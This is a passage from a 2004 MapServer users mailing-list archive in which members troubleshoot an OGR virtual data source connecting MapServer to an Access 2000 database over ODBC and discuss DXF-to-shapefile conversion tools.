Mapserver 4.0 does not have PHP Mapscript DSO support. (Right?)
Does CVS HEAD have that support currently? Is CVS HEAD moderately stable?

Thanks,
Paul



From stephen.clark at focus.ca  Fri Jan 23 11:38:30 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Fri, 23 Jan 2004 11:38:30 -0800
Subject: [Mapserver-users] DXF to shp
References: 
Message-ID: <012801c3e1e8$7ad4bb10$6c000a0a@sclark>

This is a multi-part message in MIME format.

------=_NextPart_000_0125_01C3E1A5.6C7842A0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Mike,

The FME product has a General translation Engine, a Workbench (where you =
can merge all kinds of data in all types of formats) and a universal =
viewer.

I would recommend the Workbench is you want to do more specific =
translations as well as compile topology and the like on the data files.

thanks
Stephen

  ----- Original Message -----=20
  From: Walsh, Mike=20
  To: 'mapserver-users at lists.gis.umn.edu'=20
  Sent: Friday, January 23, 2004 10:07 AM
  Subject: [Mapserver-users] DXF to shp


  Thank you for your replies. Do any of the known apps; ArcInfo, FME, =
CAD2SHAPE

  Allow the user to place geospecific info into the shp file - even if =
the original dxf input

  File has none?

------=_NextPart_000_0125_01C3E1A5.6C7842A0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable











Mike,


 


The FME product has a General =
translation=20
Engine, a Workbench (where you can merge all kinds of data in all =
types of=20
formats) and a universal viewer.


 


I would recommend the Workbench is you =
want to do=20
more specific translations as well as compile topology and the like on =
the data=20
files.


 


thanks


Stephen


 



  
----- Original Message ----- 

  From:=20
  Walsh,=20
  Mike 
  
To: 'mapserver-users at list=
s.gis.umn.edu'=20
  

  
Sent: Friday, January 23, 2004 =
10:07=20
  AM

  
Subject: [Mapserver-users] DXF =
to=20
  shp

  


  

  
Thank you for your =
replies. Do any=20
  of the known apps; ArcInfo, FME,=20
  CAD2SHAPE

  
Allow the user to place=20
  geospecific info into the shp file - even if the original dxf input

  
File has=20
  none?


------=_NextPart_000_0125_01C3E1A5.6C7842A0--



From hjulien at nrcan.gc.ca  Fri Jan 23 11:03:22 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Fri, 23 Jan 2004 14:03:22 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F79009@s5-stf1-r1.nrn.nrcan.gc.ca>

Okay,
If run the orginfo with the ODBC connection name (MGWI_TBLLOC) instead of
the Access table name (tblloc) I get my table content. Thanks.

Now I'm back to the original problem. All the components seem to work
perfectly but I keep on getting the same error message when I try to draw
the map:

msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.

msOGRFileOpen(): OGR error. Open failed for OGR connection
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File not
found or unsupported format.

It doesn't seem to find the mgwi.ovf file. I tried both relative and
absolute paths. I checked my mapfile and everyting seems okay

LAYER
	NAME "MGWI_TBLLOC"
	TYPE POINT
	CONNECTIONTYPE OGR
	CONNECTION
"D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
	DATA "MGWI_TBLLOC"
	STATUS default
	LABELITEM locid
	PROJECTION
		"init=epsg:26920"
	END #projection
	CLASS
		SYMBOL 1
		SIZE 8
		COLOR 255 0 0
		LABEL
			SIZE MEDIUM
			TYPE BITMAP
			COLOR 0 0 0
		END # end of label
	END # CLASS
END # LAYER


John, are you using an Access database? Are you working on Linux or Window?


Thank you all for your help
H?ryk

mgwi.ovf:


    
	ODBC:MGWI_MAPSERVER,tblloc 
 	tblloc 
	wkbPoint
	 
    





-----Message d'origine-----
De : Frank Warmerdam [mailto:warmerdam at pobox.com]
Envoy? : Friday, January 23, 2004 10:24 AM
? : Julien, Heryk
Cc : 'Zak James'; 'Arthur, John'; 'Normand Savard';
'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin;
'spencer at dmsolutions.ca'
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Julien, Heryk wrote:
> Hi,
> I tried it and I don't get the table content!
> 
> Firt try:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 1: MGWI_TBLLOC (Point)
> 
> 
> 
> Second try with the table name:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 
> 
> 
> The table doesn't seem to be coming through! Any idea?
> 
> I tried the new build that Paul made available this morning and I get the
> same problem! 

Hi,

I'm not sure if I missed some of the email on this thread (it is pretty
overwhelming!) but you didn't use the correct table name in your ogrinfo
query.  When you ran ogrinfo without the layer name you got "1: MGWI_TBLLOC
(Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
query:

Good luck,
-- 
---------------------------------------+------------------------------------
--
I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From John.Arthur at T-Mobile.com  Fri Jan 23 11:09:17 2004
From: John.Arthur at T-Mobile.com (Arthur, John)
Date: Fri, 23 Jan 2004 11:09:17 -0800
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <3BCB64E6682DD24FB29B7135263B0C6C200D@vamerrifms01.gsm1900.org>

I'm using windows with MSSQL for this one.  In your CONNECTION tag, try
using "/" instead of "\":
"D:/webCGCq/lcnp/mapserver_demo/maritimes/data/shp/geo83/mgwi.ovf"

-----Original Message-----
From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
Sent: Friday, January 23, 2004 2:03 PM
To: 'Frank Warmerdam'; Arthur, John
Cc: 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
Anctil, Martin; 'spencer at dmsolutions.ca'
Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Okay,
If run the orginfo with the ODBC connection name (MGWI_TBLLOC) instead of
the Access table name (tblloc) I get my table content. Thanks.

Now I'm back to the original problem. All the components seem to work
perfectly but I keep on getting the same error message when I try to draw
the map:

msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.

msOGRFileOpen(): OGR error. Open failed for OGR connection
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File not
found or unsupported format.

It doesn't seem to find the mgwi.ovf file. I tried both relative and
absolute paths. I checked my mapfile and everyting seems okay

LAYER
	NAME "MGWI_TBLLOC"
	TYPE POINT
	CONNECTIONTYPE OGR
	CONNECTION
"D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
	DATA "MGWI_TBLLOC"
	STATUS default
	LABELITEM locid
	PROJECTION
		"init=epsg:26920"
	END #projection
	CLASS
		SYMBOL 1
		SIZE 8
		COLOR 255 0 0
		LABEL
			SIZE MEDIUM
			TYPE BITMAP
			COLOR 0 0 0
		END # end of label
	END # CLASS
END # LAYER


John, are you using an Access database? Are you working on Linux or Window?


Thank you all for your help
H?ryk

mgwi.ovf:


    
	ODBC:MGWI_MAPSERVER,tblloc 
 	tblloc 
	wkbPoint
	 
    





-----Message d'origine-----
De : Frank Warmerdam [mailto:warmerdam at pobox.com]
Envoy? : Friday, January 23, 2004 10:24 AM
? : Julien, Heryk
Cc : 'Zak James'; 'Arthur, John'; 'Normand Savard';
'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin;
'spencer at dmsolutions.ca'
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Julien, Heryk wrote:
> Hi,
> I tried it and I don't get the table content!
> 
> Firt try:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 1: MGWI_TBLLOC (Point)
> 
> 
> 
> Second try with the table name:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 
> 
> 
> The table doesn't seem to be coming through! Any idea?
> 
> I tried the new build that Paul made available this morning and I get the
> same problem! 

Hi,

I'm not sure if I missed some of the email on this thread (it is pretty
overwhelming!) but you didn't use the correct table name in your ogrinfo
query.  When you ran ogrinfo without the layer name you got "1: MGWI_TBLLOC
(Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
query:

Good luck,
-- 
---------------------------------------+------------------------------------
--
I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent



From hjulien at nrcan.gc.ca  Fri Jan 23 11:23:01 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Fri, 23 Jan 2004 14:23:01 -0500
Subject: TR: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F7900C@s5-stf1-r1.nrn.nrcan.gc.ca>

Has anyone ever tried connecting to Access 2000?
That may be the problem.
Is so I'll have to use a different db software!
Unfortunatly almost everyone in my office works with Access 2000.

Thank you all for your patience and help
Cheers
H?ryk

-----Message d'origine-----
De : Arthur, John [mailto:John.Arthur at T-Mobile.com]
Envoy? : Friday, January 23, 2004 2:09 PM
? : 'Julien, Heryk'; 'Frank Warmerdam'
Cc : 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
Anctil, Martin; 'spencer at dmsolutions.ca'
Objet : RE: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


I'm using windows with MSSQL for this one.  In your CONNECTION tag, try
using "/" instead of "\":
"D:/webCGCq/lcnp/mapserver_demo/maritimes/data/shp/geo83/mgwi.ovf"

-----Original Message-----
From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
Sent: Friday, January 23, 2004 2:03 PM
To: 'Frank Warmerdam'; Arthur, John
Cc: 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
Anctil, Martin; 'spencer at dmsolutions.ca'
Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Okay,
If run the orginfo with the ODBC connection name (MGWI_TBLLOC) instead of
the Access table name (tblloc) I get my table content. Thanks.

Now I'm back to the original problem. All the components seem to work
perfectly but I keep on getting the same error message when I try to draw
the map:

msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.

msOGRFileOpen(): OGR error. Open failed for OGR connection
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File not
found or unsupported format.

It doesn't seem to find the mgwi.ovf file. I tried both relative and
absolute paths. I checked my mapfile and everyting seems okay

LAYER
	NAME "MGWI_TBLLOC"
	TYPE POINT
	CONNECTIONTYPE OGR
	CONNECTION
"D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
	DATA "MGWI_TBLLOC"
	STATUS default
	LABELITEM locid
	PROJECTION
		"init=epsg:26920"
	END #projection
	CLASS
		SYMBOL 1
		SIZE 8
		COLOR 255 0 0
		LABEL
			SIZE MEDIUM
			TYPE BITMAP
			COLOR 0 0 0
		END # end of label
	END # CLASS
END # LAYER


John, are you using an Access database? Are you working on Linux or Window?


Thank you all for your help
H?ryk

mgwi.ovf:


    
	ODBC:MGWI_MAPSERVER,tblloc 
 	tblloc 
	wkbPoint
	 
    





-----Message d'origine-----
De : Frank Warmerdam [mailto:warmerdam at pobox.com]
Envoy? : Friday, January 23, 2004 10:24 AM
? : Julien, Heryk
Cc : 'Zak James'; 'Arthur, John'; 'Normand Savard';
'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin;
'spencer at dmsolutions.ca'
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Julien, Heryk wrote:
> Hi,
> I tried it and I don't get the table content!
> 
> Firt try:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 1: MGWI_TBLLOC (Point)
> 
> 
> 
> Second try with the table name:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 
> 
> 
> The table doesn't seem to be coming through! Any idea?
> 
> I tried the new build that Paul made available this morning and I get the
> same problem! 

Hi,

I'm not sure if I missed some of the email on this thread (it is pretty
overwhelming!) but you didn't use the correct table name in your ogrinfo
query.  When you ran ogrinfo without the layer name you got "1: MGWI_TBLLOC
(Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
query:

Good luck,
-- 
---------------------------------------+------------------------------------
--
I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent



From David.Fawcett at state.mn.us  Fri Jan 23 11:45:08 2004
From: David.Fawcett at state.mn.us (David Fawcett)
Date: Fri, 23 Jan 2004 13:45:08 -0600
Subject: TR: [Mapserver-users] Re: VirtualSpatialData (OGR
 Connectiontype)
Message-ID: 

Heryk, 

I haven't tried to connect to Access 2000, but a couple of thoughts.  

Is your database 'secured' with Access security?  Is there an argument in the connection string to identify the path to the security file (system.mdw) that the database file uses?

If it is secured, maybe try creating a very simple, unsecured database to connect to.  You would then pass it a user name of 'admin' and a null password.  

Have you hit this ODBC datasource using any other program?

David.


David J. Fawcett
MN Office of Environmental Assistance

>>> "Julien, Heryk"  1/23/2004 1:23:01 PM >>>
Has anyone ever tried connecting to Access 2000?
That may be the problem.
Is so I'll have to use a different db software!
Unfortunatly almost everyone in my office works with Access 2000.

Thank you all for your patience and help
Cheers
H?ryk

-----Message d'origine-----
De : Arthur, John [mailto:John.Arthur at T-Mobile.com] 
Envoy? : Friday, January 23, 2004 2:09 PM
? : 'Julien, Heryk'; 'Frank Warmerdam'
Cc : 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
Anctil, Martin; 'spencer at dmsolutions.ca'
Objet : RE: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


I'm using windows with MSSQL for this one.  In your CONNECTION tag, try
using "/" instead of "\":
"D:/webCGCq/lcnp/mapserver_demo/maritimes/data/shp/geo83/mgwi.ovf"

-----Original Message-----
From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
Sent: Friday, January 23, 2004 2:03 PM
To: 'Frank Warmerdam'; Arthur, John
Cc: 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
Anctil, Martin; 'spencer at dmsolutions.ca'
Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Okay,
If run the orginfo with the ODBC connection name (MGWI_TBLLOC) instead of
the Access table name (tblloc) I get my table content. Thanks.

Now I'm back to the original problem. All the components seem to work
perfectly but I keep on getting the same error message when I try to draw
the map:

msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.

msOGRFileOpen(): OGR error. Open failed for OGR connection
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File not
found or unsupported format.

It doesn't seem to find the mgwi.ovf file. I tried both relative and
absolute paths. I checked my mapfile and everyting seems okay

LAYER
	NAME "MGWI_TBLLOC"
	TYPE POINT
	CONNECTIONTYPE OGR
	CONNECTION
"D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
	DATA "MGWI_TBLLOC"
	STATUS default
	LABELITEM locid
	PROJECTION
		"init=epsg:26920"
	END #projection
	CLASS
		SYMBOL 1
		SIZE 8
		COLOR 255 0 0
		LABEL
			SIZE MEDIUM
			TYPE BITMAP
			COLOR 0 0 0
		END # end of label
	END # CLASS
END # LAYER


John, are you using an Access database? Are you working on Linux or Window?


Thank you all for your help
H?ryk

mgwi.ovf:


    
	ODBC:MGWI_MAPSERVER,tblloc 
 	tblloc 
	wkbPoint
	 
    





-----Message d'origine-----
De : Frank Warmerdam [mailto:warmerdam at pobox.com] 
Envoy? : Friday, January 23, 2004 10:24 AM
? : Julien, Heryk
Cc : 'Zak James'; 'Arthur, John'; 'Normand Savard';
'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin;
'spencer at dmsolutions.ca'
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Julien, Heryk wrote:
> Hi,
> I tried it and I don't get the table content!
> 
> Firt try:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 1: MGWI_TBLLOC (Point)
> 
> 
> 
> Second try with the table name:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 
> 
> 
> The table doesn't seem to be coming through! Any idea?
> 
> I tried the new build that Paul made available this morning and I get the
> same problem! 

Hi,

I'm not sure if I missed some of the email on this thread (it is pretty
overwhelming!) but you didn't use the correct table name in your ogrinfo
query.  When you ran ogrinfo without the layer name you got "1: MGWI_TBLLOC
(Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
query:

Good luck,
-- 
---------------------------------------+------------------------------------
--
I set the clouds in motion - turn up   | Frank Warmerdam,
warmerdam at pobox.com 
light and sound - activate the windows | http://pobox.com/~warmerdam 
and watch the world go round - Rush    | Geospatial Programmer for Rent

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From nsavard at dmsolutions.ca  Fri Jan 23 11:53:18 2004
From: nsavard at dmsolutions.ca (Normand Savard)
Date: Fri, 23 Jan 2004 14:53:18 -0500
Subject: TR: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
References: <06B403677C41D51194550002A55107D201F7900C@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <40117BAE.8040705@dmsolutions.ca>

Julien,

Is it possible to see the map projection section or if your map file is 
not too long could you copy it here?  Also, could you joined your 
database structure?

Norm

Julien, Heryk wrote:

>Has anyone ever tried connecting to Access 2000?
>That may be the problem.
>Is so I'll have to use a different db software!
>Unfortunatly almost everyone in my office works with Access 2000.
>
>Thank you all for your patience and help
>Cheers
>H?ryk
>
>-----Message d'origine-----
>De : Arthur, John [mailto:John.Arthur at T-Mobile.com]
>Envoy? : Friday, January 23, 2004 2:09 PM
>? : 'Julien, Heryk'; 'Frank Warmerdam'
>Cc : 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
>Anctil, Martin; 'spencer at dmsolutions.ca'
>Objet : RE: [Mapserver-users] Re: VirtualSpatialData (OGR
>Connectiontype)
>
>
>I'm using windows with MSSQL for this one.  In your CONNECTION tag, try
>using "/" instead of "\":
>"D:/webCGCq/lcnp/mapserver_demo/maritimes/data/shp/geo83/mgwi.ovf"
>
>-----Original Message-----
>From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>Sent: Friday, January 23, 2004 2:03 PM
>To: 'Frank Warmerdam'; Arthur, John
>Cc: 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
>Anctil, Martin; 'spencer at dmsolutions.ca'
>Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
>Connectiontype)
>
>
>Okay,
>If run the orginfo with the ODBC connection name (MGWI_TBLLOC) instead of
>the Access table name (tblloc) I get my table content. Thanks.
>
>Now I'm back to the original problem. All the components seem to work
>perfectly but I keep on getting the same error message when I try to draw
>the map:
>
>msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.
>
>msOGRFileOpen(): OGR error. Open failed for OGR connection
>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File not
>found or unsupported format.
>
>It doesn't seem to find the mgwi.ovf file. I tried both relative and
>absolute paths. I checked my mapfile and everyting seems okay
>
>LAYER
>	NAME "MGWI_TBLLOC"
>	TYPE POINT
>	CONNECTIONTYPE OGR
>	CONNECTION
>"D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
>	DATA "MGWI_TBLLOC"
>	STATUS default
>	LABELITEM locid
>	PROJECTION
>		"init=epsg:26920"
>	END #projection
>	CLASS
>		SYMBOL 1
>		SIZE 8
>		COLOR 255 0 0
>		LABEL
>			SIZE MEDIUM
>			TYPE BITMAP
>			COLOR 0 0 0
>		END # end of label
>	END # CLASS
>END # LAYER
>
>
>John, are you using an Access database? Are you working on Linux or Window?
>
>
>Thank you all for your help
>H?ryk
>
>mgwi.ovf:
>
>
>    
>	ODBC:MGWI_MAPSERVER,tblloc 
> 	tblloc 
>	wkbPoint
>	 
>    
>
>
>
>
>
>-----Message d'origine-----
>De : Frank Warmerdam [mailto:warmerdam at pobox.com]
>Envoy? : Friday, January 23, 2004 10:24 AM
>? : Julien, Heryk
>Cc : 'Zak James'; 'Arthur, John'; 'Normand Savard';
>'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin;
>'spencer at dmsolutions.ca'
>Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
>Connectiontype)
>
>
>Julien, Heryk wrote:
>  
>
>>Hi,
>>I tried it and I don't get the table content!
>>
>>Firt try:
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
>>
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>1: MGWI_TBLLOC (Point)
>>
>>
>>
>>Second try with the table name:
>>D:\WebScripts\MapServer>ogrinfo
>>D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
>>
>>ERROR 4: Update access not supported for VRT datasources.
>>Had to open data source read-only.
>>INFO: Open of
>>`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
>>using driver `VRT' successful.
>>
>>
>>
>>The table doesn't seem to be coming through! Any idea?
>>
>>I tried the new build that Paul made available this morning and I get the
>>same problem! 
>>    
>>
>
>Hi,
>
>I'm not sure if I missed some of the email on this thread (it is pretty
>overwhelming!) but you didn't use the correct table name in your ogrinfo
>query.  When you ran ogrinfo without the layer name you got "1: MGWI_TBLLOC
>(Point)" as the result.  The "MGWI_TBLLOC" portion of this is the layer
>name.  So you should use it, not TBLLOC as the layer name in your ogrinfo
>query:
>
>Good luck,
>  
>




From hjulien at nrcan.gc.ca  Fri Jan 23 12:14:10 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Fri, 23 Jan 2004 15:14:10 -0500
Subject: TR: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F79012@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi David,
No the database is not secured.
I've tested my odbc connection with Excel and everything works great.

H?ryk

-----Message d'origine-----
De : David Fawcett [mailto:David.Fawcett at state.mn.us]
Envoy? : Friday, January 23, 2004 2:45 PM
? : Mapserver-users at lists.gis.umn.edu; hjulien at nrcan.gc.ca
Objet : TR: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Heryk, 

I haven't tried to connect to Access 2000, but a couple of thoughts.  

Is your database 'secured' with Access security?  Is there an argument in
the connection string to identify the path to the security file (system.mdw)
that the database file uses?

If it is secured, maybe try creating a very simple, unsecured database to
connect to.  You would then pass it a user name of 'admin' and a null
password.  

Have you hit this ODBC datasource using any other program?

David.


David J. Fawcett
MN Office of Environmental Assistance

>>> "Julien, Heryk"  1/23/2004 1:23:01 PM >>>
Has anyone ever tried connecting to Access 2000?
That may be the problem.
Is so I'll have to use a different db software!
Unfortunatly almost everyone in my office works with Access 2000.

Thank you all for your patience and help
Cheers
H?ryk

-----Message d'origine-----
De : Arthur, John [mailto:John.Arthur at T-Mobile.com] 
Envoy? : Friday, January 23, 2004 2:09 PM
? : 'Julien, Heryk'; 'Frank Warmerdam'
Cc : 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
Anctil, Martin; 'spencer at dmsolutions.ca'
Objet : RE: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


I'm using windows with MSSQL for this one.  In your CONNECTION tag, try
using "/" instead of "\":
"D:/webCGCq/lcnp/mapserver_demo/maritimes/data/shp/geo83/mgwi.ovf"

-----Original Message-----
From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
Sent: Friday, January 23, 2004 2:03 PM
To: 'Frank Warmerdam'; Arthur, John
Cc: 'Zak James'; 'Normand Savard'; 'Mapserver-users at lists.gis.umn.edu';
Anctil, Martin; 'spencer at dmsolutions.ca'
Subject: RE: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Okay,
If run the orginfo with the ODBC connection name (MGWI_TBLLOC) instead of
the Access table name (tblloc) I get my table content. Thanks.

Now I'm back to the original problem. All the components seem to work
perfectly but I keep on getting the same error message when I try to draw
the map:

msDrawMap(): Image handling error. Failed to draw layer named 'MGWI_TBLLOC'.

msOGRFileOpen(): OGR error. Open failed for OGR connection
`D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'. File not
found or unsupported format.

It doesn't seem to find the mgwi.ovf file. I tried both relative and
absolute paths. I checked my mapfile and everyting seems okay

LAYER
	NAME "MGWI_TBLLOC"
	TYPE POINT
	CONNECTIONTYPE OGR
	CONNECTION
"D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf"
	DATA "MGWI_TBLLOC"
	STATUS default
	LABELITEM locid
	PROJECTION
		"init=epsg:26920"
	END #projection
	CLASS
		SYMBOL 1
		SIZE 8
		COLOR 255 0 0
		LABEL
			SIZE MEDIUM
			TYPE BITMAP
			COLOR 0 0 0
		END # end of label
	END # CLASS
END # LAYER


John, are you using an Access database? Are you working on Linux or Window?


Thank you all for your help
H?ryk

mgwi.ovf:


    
	ODBC:MGWI_MAPSERVER,tblloc 
 	tblloc 
	wkbPoint
	 
    





-----Message d'origine-----
De : Frank Warmerdam [mailto:warmerdam at pobox.com] 
Envoy? : Friday, January 23, 2004 10:24 AM
? : Julien, Heryk
Cc : 'Zak James'; 'Arthur, John'; 'Normand Savard';
'Mapserver-users at lists.gis.umn.edu'; Anctil, Martin;
'spencer at dmsolutions.ca'
Objet : Re: [Mapserver-users] Re: VirtualSpatialData (OGR
Connectiontype)


Julien, Heryk wrote:
> Hi,
> I tried it and I don't get the table content!
> 
> Firt try:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 1: MGWI_TBLLOC (Point)
> 
> 
> 
> Second try with the table name:
> D:\WebScripts\MapServer>ogrinfo
> D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf tblloc
> 
> ERROR 4: Update access not supported for VRT datasources.
> Had to open data source read-only.
> INFO: Open of
> `D:\webCGCq\lcnp\mapserver_demo\maritimes\data\shp\geo83\mgwi.ovf'
> using driver `VRT' successful.
> 
> 
> 
> The table doesn't seem to be coming through! Any idea?
> 
> I tried the new build that Paul made available this morning and I get the
> same problem! 

Hi,

I'm not sure if I missed some of the email on this thread (it is pretty
